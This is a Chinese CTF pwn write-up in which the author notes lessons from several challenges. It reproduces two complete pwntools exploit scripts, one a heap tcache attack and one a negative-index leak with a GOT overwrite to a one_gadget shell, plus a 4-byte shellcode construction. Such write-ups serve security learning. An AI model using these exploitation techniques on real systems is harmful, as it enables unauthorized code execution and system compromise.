勉强做了几个题,记录一下学到的。
ida打开发现只有add,free,edit。直接懵逼。
赛后看了官方wp,学到了两点。
#define chunksize(p) (p & ~(SIZE_BITS))
测试发现sizeof(~0)恒为4,而size_t在64位机上为8,这就是原因。
下面是官方wp,膜肥猫师傅。
from pwn import*
def new():
p.sendlineafter('choice:','1')
def free():
p.sendlineafter('choice:','3')
def edit(content):
p.sendlineafter('choice:','2')
p.sendafter('note: ',content)
while True:
p = process('./main')
p = remote('42.192.180.50',25003)
try:
new()
free()
edit(p64(0x404028 + 2 - 8))
new()
new()
edit('\x00'*6 + p64(0x4013E4) + p64(0) + '\x07\x42')
p.sendlineafter('choice:\n','ls')
data = p.recvline()
break
except:
p.close()
continue
p.interactive()
edit和rename中都有int数组下标,可以负数越界读写。
这题学习的是南航的一位大师傅的exp。
from pwn import *
context.log_level = 'debug'
p = process('./Moles_world')
# p = remote('114.55.165.246', 21001)
elf = ELF('./Moles_world')
libc = elf.libc
def add(index, c):
p.sendlineafter('| [now] > ', 'G')
p.sendlineafter('| [lahm\'s index] > ', str(index))
p.sendlineafter('| [lahm\'s name] > ', c)
def edit(index, c):
p.sendlineafter('| [now] > ', 'R')
p.sendlineafter('| [lahm\'s index] > ', str(index))
p.sendafter('| [lahm\'s name begin ten char] > ', c)
def show(index):
p.sendlineafter('| [now] > ', 'S')
p.sendlineafter('| [lahm\'s index] > ', str(index))
def dele(index):
p.sendlineafter('| [now] > ', 'A')
p.sendlineafter('| [lahm\'s index] > ', str(index))
gdb.attach(p)
chunk1 = add(0, b'/bin/sh\x00')
show(-12)
p.recvuntil('| [lahm\'s name] > ')
binbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x2020A0
log.success('binbase: ' + hex(binbase))
edit(-12, p64(binbase + 0x202070))
show(-12)
p.recvuntil('| [lahm\'s name] > ')
malloc_got = u64(p.recv(6).ljust(8, b'\x00'))
log.success('malloc: '+ hex(malloc_got))
libcbase =malloc_got - libc.symbols['malloc']
log.success('libcbase: ' + hex(libcbase))
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
# one = [0x4f3d5, 0x4f432, 0x10a41c]
one_gadget = libcbase + one[3]
log.success('one_gadget: ' + hex(one_gadget))
edit(-12, p64(one_gadget))
p.sendlineafter('| [now] > ', 'G')
p.sendlineafter('| [lahm\'s index] > ', '3')
p.interactive()
'''
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
大概就是-12处有一个指向自身的指针,十分巧妙。
一开始自己的思路是直接输出got表上的libc地址,想了半天为啥不行。原因是got上是一个libc的地址,实际printf("%s", addr)中addr是libc的地址,rax是got表,输出的是libc地址指向的内容,所以多跳了一级。学到新知识了。
这题比赛中想到nop连接shellcode,但是没想到怎么构造一次4字节的shellcode,直接粘官方wp了。
movabs $0x68732f2f6e69622f,%rbx
==
mov bx,0x6873 66 BB 73 68
shl rbx,16 48 C1 E3 10
mov bx 0x2f2f 66 BB 2F 2F
shl rbx,16 48 C1 E3 10
mov bx,0x6e69 66 BB 69 6E
shl rbx,16 48 C1 E3 10
mov bx 0x622f 66 BB 2F 62
只能说挺6的。。